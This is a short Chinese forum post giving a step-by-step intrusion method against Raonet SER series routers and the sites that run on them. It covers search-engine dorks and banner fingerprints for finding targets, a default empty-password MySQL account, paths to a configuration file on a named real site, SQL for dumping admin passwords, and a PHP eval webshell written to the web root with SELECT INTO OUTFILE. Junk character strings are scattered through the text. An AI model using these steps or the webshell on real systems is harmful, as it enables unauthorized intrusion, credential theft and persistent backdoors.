利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
' }3 E8 o, x! t9 e/ K; l
1：google搜索'Raonet Subscriber Ethernet Router'

5 H: ^+ m- C6 Z0 b5 F% q2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
- K1 z. K$ w) T. E3 o0 Z
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
* t1 |* _/ ~! A6 _: G
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
  G4 a1 S3 g, w7 G2 I: c

% L, V$ i# p) m% H
入侵步骤：
% p7 \* O( `2 N. {/ n; x
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

! h0 {" J: @% @3 ^2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
) h- s% c2 l, h$ e6 K) ]# t# h8 Z3：得到密码后连接，查看GUI管理密码：
* _+ t# c% P7 S2 m2 Muse ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
6 e6 `+ R" b4 D% Z- pinsert into ok values("<?php @eval($_POST[cmd])?>");
. f% e, C, _2 ?, p& ^5 h6 ~+ f/ Dselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
/ c2 V; n$ o2 x, kdrop table ok;
" f5 _( N  w7 G3 F0 M7 h8 b
* ^- h+ t" q' W) a7 y5:连接后门shell.php
( q3 W! ~  ~5 I- L$ W
7 l0 ~5 t  f8 ?9 I5 n4 Q( I5 s6. 搞定！
6 s  ]7 U4 J! G$ i' |* z. v& C* D, g
0 Q: T$ W! d' V1 W' A; t